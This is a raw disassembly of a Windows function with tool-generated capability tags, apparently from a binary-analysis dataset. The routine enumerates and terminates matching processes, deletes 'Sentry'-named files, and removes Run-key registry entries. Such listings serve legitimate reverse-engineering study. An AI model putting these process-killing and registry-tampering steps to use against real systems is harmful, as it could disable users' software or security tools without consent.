Function at 0x407af0
Capabilities:
Check if file exists
Enumerate files on windows
Enumerate processes
Get common file path
Move file
Persist via run registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45ea62
mov eax, dword fs:[0]
push eax
sub esp, 0xf14
mov eax, dword [0x47a0b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, str.GlobalAlphaKiller
call fcn.00407730
mov esi, eax
test esi, esi
je 0x407b3f
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x208
lea eax, [ebp - 0xa38]
push 0
push eax
call fcn.004378c0
add esp, 0xc
lea eax, [ebp - 0xa38]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
xor eax, eax
xor esi, esi
mov dword [ebp - 0xef0], eax
mov dword [ebp - 0xf04], eax
mov dword [ebp - 0xee4], esi
mov dword [ebp - 0xf00], esi
mov dword [ebp - 0xeec], eax
mov dword [ebp - 0xefc], eax
push esi
push 2
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0xedc], edi
cmp edi, 0xffffffff
je 0x407dbd
push 0x228
lea eax, [ebp - 0xec8]
push esi
push eax
call fcn.004378c0
add esp, 0xc
mov dword [ebp - 0xecc], 0x22c
lea eax, [ebp - 0xecc]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x407db6
push 0x208
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.004378c0
add esp, 0xc
push dword [ebp - 0xec4]
push 0
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
test edi, edi
je 0x407c39
push 0x104
lea eax, [ebp - 0x420]
push eax
push 0
push edi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
test eax, eax
jne 0x407c32
mov word [ebp - 0x420], ax
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0xa38]
push eax
call fcn.0043fd90
add esp, 8
test eax, eax
je 0x407d8e
lea ecx, [ebp - 0x420]
call fcn.00407970
test eax, eax
je 0x407d8e
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0xa50]
call fcn.00409e60
mov byte [ebp - 4], 1
cmp esi, dword [ebp - 0xeec]
je 0x407cd6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov ecx, 7
movups xmm0, xmmword [ebp - 0xa50]
mov dword [esi + 0x14], 0
mov word [ebp - 0xa50], ax
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0xa40]
movq qword [esi + 0x10], xmm0
add esi, 0x18
mov dword [ebp - 0xa40], 0
mov dword [ebp - 0xf00], esi
jmp 0x407d01
lea eax, [ebp - 0xa50]
push eax
push esi
lea ecx, [ebp - 0xf04]
call fcn.0040db90
mov eax, dword [ebp - 0xefc]
mov esi, dword [ebp - 0xf00]
mov ecx, dword [ebp - 0xa3c]
mov dword [ebp - 0xeec], eax
mov dword [ebp - 0xee4], esi
mov byte [ebp - 4], 0
cmp ecx, 8
jb 0x407d45
mov edx, dword [ebp - 0xa50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407d3b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086e5
push ecx
push edx
call fcn.00435d98
add esp, 8
push dword [ebp - 0xec4]
xor eax, eax
mov dword [ebp - 0xa40], 0
push 1
push 0x100001
mov dword [ebp - 0xa3c], 7
mov word [ebp - 0xa50], ax
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
test edi, edi
je 0x407d8e
push 0x1538
push edi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [ebp - 0xedc]
lea eax, [ebp - 0xecc]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x407be3
mov eax, dword [ebp - 0xf04]
mov dword [ebp - 0xef0], eax
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x208
lea eax, [ebp - 0x830]
push 0
push eax
call fcn.004378c0
push 0x208
lea eax, [ebp - 0x628]
push 0
push eax
call fcn.004378c0
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004378c0
add esp, 0x24
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor ecx, ecx
movzx eax, word [ebp + ecx - 0x218]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x62a], ax
test ax, ax
jne 0x407e10
push 0x470398
lea eax, [ebp - 0x628]
push 0x104
push eax
call fcn.00440d93
push str.Sentry_todel_
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00440d93
lea edi, [ebp - 0x218]
add esp, 0x18
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x407e60
sub edi, ecx
mov dword [ebp - 0xed0], 1
sar edi, 1
nop dword [eax]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
test eax, eax
jne 0x407f9d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 2
je 0x407f83
cmp eax, 3
je 0x407f83
mov edx, dword [ebp - 0xed0]
lea ecx, [ebp - 0xa50]
call fcn.0040ce10
cmp dword [ebp - 0xa3c], 8
lea eax, [ebp - 0xa50]
cmovae eax, dword [ebp - 0xa50]
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00440d93
mov ecx, dword [ebp - 0xa3c]
add esp, 0xc
cmp ecx, 8
jb 0x407f2e
mov edx, dword [ebp - 0xa50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407f24
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086e5
push ecx
push edx
call fcn.00435d98
add esp, 8
xor eax, eax
mov dword [ebp - 0xa40], 0
mov word [ebp - 0xa50], ax
lea eax, [edi + edi]
mov dword [ebp - 0xa3c], 7
cmp eax, 0x208
jae 0x4086db
xor ecx, ecx
push 1
mov word [ebp + eax - 0x218], cx
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 0xed0]
inc eax
mov dword [ebp - 0xed0], eax
cmp eax, 0x100
jle 0x407e80
xor ecx, ecx
movzx eax, word [ebp + ecx - 0x628]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x21a], ax
test ax, ax
jne 0x407f85
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x830]
push 0x104
push eax
call fcn.00440d2f
push 0x46ef2c
lea eax, [ebp - 0x830]
push 0x104
push eax
call fcn.00440d93
add esp, 0x18
lea eax, [ebp - 0xca0]
push eax
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov edi, eax
mov eax, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov dword [ebp - 0xef4], edi
mov dword [ebp - 0xf18], eax
cmp edi, 0xffffffff
je 0x408236
nop
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0xa50]
call fcn.00409e60
push 1
push 0x46e6b0
lea ecx, [ebp - 0xa50]
mov byte [ebp - 4], 2
call fcn.0040c7e0
lea ecx, [ebp - 0xc74]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408031
sub ecx, edx
lea eax, [ebp - 0xc74]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0xa50]
call fcn.0040c7e0
test byte [ebp - 0xca0], 0x10
jne 0x40818e
cmp dword [ebp - 0xa3c], 8
lea ecx, [ebp - 0xa50]
cmovae ecx, dword [ebp - 0xa50]
call fcn.00407970
test eax, eax
je 0x4081a9
cmp esi, dword [ebp - 0xeec]
je 0x408161
xorps xmm0, xmm0
lea ecx, [ebp - 0xa50]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [ebp - 0xa3c], 8
mov eax, dword [ebp - 0xa40]
cmovae ecx, dword [ebp - 0xa50]
mov dword [ebp - 0xef8], ecx
mov dword [ebp - 0xedc], eax
cmp eax, 0x7ffffffe
ja 0x4086e0
mov dword [esi + 0x14], 7
cmp eax, 8
jae 0x4080fb
mov dword [esi + 0x10], eax
movups xmm0, xmmword [ecx]
movups xmmword [esi], xmm0
add esi, 0x18
mov dword [ebp - 0xee4], esi
mov dword [ebp - 0xf00], esi
jmp 0x4081a9
mov edi, eax
or edi, 7
cmp edi, 0x7ffffffe
jbe 0x40810f
mov edi, 0x7ffffffe
jmp 0x40811a
cmp edi, 0xa
mov eax, 0xa
cmovb edi, eax
lea eax, [edi + 1]
mov ecx, esi
push eax
call fcn.0040d7b0
mov ecx, dword [ebp - 0xedc]
mov dword [esi + 0x10], ecx
mov dword [esi], eax
mov dword [esi + 0x14], edi
lea ecx, [ecx*2 + 2]
push ecx
push dword [ebp - 0xef8]
push eax
call fcn.00437330
mov edi, dword [ebp - 0xef4]
add esp, 0xc
add esi, 0x18
mov dword [ebp - 0xee4], esi
mov dword [ebp - 0xf00], esi
jmp 0x4081a9
lea eax, [ebp - 0xa50]
push eax
push esi
lea ecx, [ebp - 0xf04]
call fcn.0040dd10
mov eax, dword [ebp - 0xefc]
mov esi, dword [ebp - 0xf00]
mov dword [ebp - 0xeec], eax
mov dword [ebp - 0xee4], esi
jmp 0x4081a9
cmp dword [ebp - 0xa3c], 8
lea eax, [ebp - 0xa50]
cmovae eax, dword [ebp - 0xa50]
push eax
call dword [ebp - 0xf18]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xa3c]
cmp ecx, 8
jb 0x4081ed
mov edx, dword [ebp - 0xa50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4081e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086e5
push ecx
push edx
call fcn.00435d98
add esp, 8
xor eax, eax
mov dword [ebp - 0xa40], 0
mov word [ebp - 0xa50], ax
lea eax, [ebp - 0xca0]
push eax
push edi
mov dword [ebp - 0xa3c], 7
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
cmp eax, 1
je 0x408000
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov edi, dword [ebp - 0xf04]
mov dword [ebp - 0xef0], edi
jmp 0x40823c
mov edi, dword [ebp - 0xef0]
mov ecx, esi
mov dword [ebp - 0xee8], 0
sub ecx, edi
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xedc], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0xf14], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xed4], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [ebp - 0xef8], eax
je 0x40836e
mov esi, dword [ebp - 0xed4]
mov eax, edi
mov dword [ebp - 0xee0], eax
cmp dword [eax + 0x14], 8
mov edi, eax
jb 0x4082a0
mov edi, dword [eax]
push edi
call dword [ebp - 0xf18]
test eax, eax
jne 0x4082b5
push 4
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_MoveFileExW]
push 0x208
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.004378c0
push edi
lea eax, [ebp - 0x420]
push 0x104
push eax
call fcn.00440d2f
lea eax, [ebp - 0x420]
push 0x5c
push eax
call fcn.004371e2
mov edi, eax
add esp, 0x20
test edi, edi
je 0x408340
add edi, 2
push 0x2e
push edi
call fcn.004371e2
add esp, 8
test eax, eax
je 0x408340
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0xed0]
push eax
push 2
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [ebp - 0xf14]
cmp eax, 2
je 0x408340
test eax, eax
jne 0x408340
push edi
push dword [ebp - 0xed0]
call dword [ebp - 0xef8]
push dword [ebp - 0xed0]
call esi
mov ecx, dword [ebp - 0xee8]
mov eax, dword [ebp - 0xee0]
inc ecx
add eax, 0x18
mov dword [ebp - 0xee8], ecx
mov dword [ebp - 0xee0], eax
cmp ecx, dword [ebp - 0xedc]
jb 0x408296
mov esi, dword [ebp - 0xee4]
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0xed0]
call fcn.0040ac50
mov dword [ebp - 0xa44], 0
mov dword [ebp - 0xa40], 0
mov dword [ebp - 0xa3c], 0
lea eax, [ebp - 0xa44]
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0xed0]
push eax
call fcn.00402930
mov eax, dword [ebp - 0xa44]
add esp, 4
mov ecx, dword [ebp - 0xa40]
or edi, 0xffffffff
mov dword [ebp - 0xedc], eax
mov dword [ebp - 0xf1c], ecx
cmp eax, ecx
je 0x40862c
mov ecx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0xef4], ecx
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0040c960
lea edi, [eax + 0x10]
mov dword [ebp - 0xf20], edi
mov byte [ebp - 4], 5
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x4086ea
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0xee0], esi
lea eax, [ebp - 0xed8]
mov byte [ebp - 4], 6
push eax
push 1
push 0
push dword [ebp - 0xed0]
push 0x80000001
call dword [ebp - 0xf14]
test eax, eax
jne 0x4085ca
lea eax, [ebp - 0xf0c]
push eax
push 0
lea eax, [ebp - 0xf08]
push eax
push 0
push edi
push dword [ebp - 0xed8]
call dword [ebp - 0xef4]
test eax, eax
je 0x408470
push dword [ebp - 0xed8]
jmp 0x4085c4
cmp dword [ebp - 0xf08], 1
je 0x408484
push dword [ebp - 0xed8]
jmp 0x4085c4
mov eax, dword [ebp - 0xf0c]
test eax, eax
jne 0x40849e
lea ecx, [ebp - 0xee0]
call fcn.0040ad90
jmp 0x40855c
add eax, 4
push 1
push eax
call fcn.0043add5
add esp, 8
mov dword [ebp - 0xf10], eax
test eax, eax
jne 0x4084c1
push dword [ebp - 0xed8]
jmp 0x4085c4
lea ecx, [ebp - 0xf0c]
push ecx
push eax
lea eax, [ebp - 0xf08]
push eax
push 0
push edi
push dword [ebp - 0xed8]
call dword [ebp - 0xef4]
test eax, eax
je 0x4084fc
push dword [ebp - 0xf10]
call fcn.00441ca4
add esp, 4
push dword [ebp - 0xed8]
jmp 0x4085c4
cmp dword [ebp - 0xf08], 1
je 0x40851e
push dword [ebp - 0xf10]
call fcn.00441ca4
add esp, 4
push dword [ebp - 0xed8]
jmp 0x4085c4
mov eax, dword [ebp - 0xf0c]
mov esi, dword [ebp - 0xf10]
shr eax, 1
xor ecx, ecx
mov word [esi + eax*2], cx
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408537
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0xee0]
call fcn.0040ca50
push esi
call fcn.00441ca4
add esp, 4
push dword [ebp - 0xed8]
call dword [ebp - 0xed4]
mov esi, dword [ebp - 0xee0]
cmp dword [esi - 0xc], 0
jl 0x4085ca
push str.Sentry
push esi
call fcn.00436da6
add esp, 8
test eax, eax
je 0x4085ca
sub eax, esi
sar eax, 1
js 0x4085ca
lea eax, [ebp - 0xee8]
push eax
push 2
push 0
push dword [ebp - 0xed0]
push 0x80000001
call dword [ebp - 0xf14]
cmp eax, 2
je 0x4085ca
test eax, eax
jne 0x4085ca
push edi
push dword [ebp - 0xee8]
call dword [ebp - 0xef8]
push dword [ebp - 0xee8]
call dword [ebp - 0xed4]
mov byte [ebp - 4], 5
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x4085e9
lfence
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 4
add edi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x408608
lfence
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0xedc]
add eax, 4
mov dword [ebp - 0xedc], eax
cmp eax, dword [ebp - 0xf1c]
jne 0x4083e4
mov esi, dword [ebp - 0xee4]
or edi, 0xffffffff
lea ecx, [ebp - 0xa44]
call fcn.00409d20
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xed0]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x408659
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x218]
push eax
call dword [ebp - 0xf18]
mov edi, dword [ebp - 0xef0]
test edi, edi
je 0x4086c0
push ecx
mov edx, esi
mov ecx, edi
call fcn.0040d3e0
mov ecx, dword [ebp - 0xeec]
mov eax, 0x2aaaaaab
sub ecx, edi
add esp, 4
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, edi
shl ecx, 3
cmp ecx, 0x1000
jb 0x4086b6
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086e5
push ecx
push edi
call fcn.00435d98
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004356fe
mov esp, ebp
pop ebp
ret
call fcn.00435a3c
call fcn.004018f0
call fcn.0044118c
push 0x80004005
call fcn.00401400
int3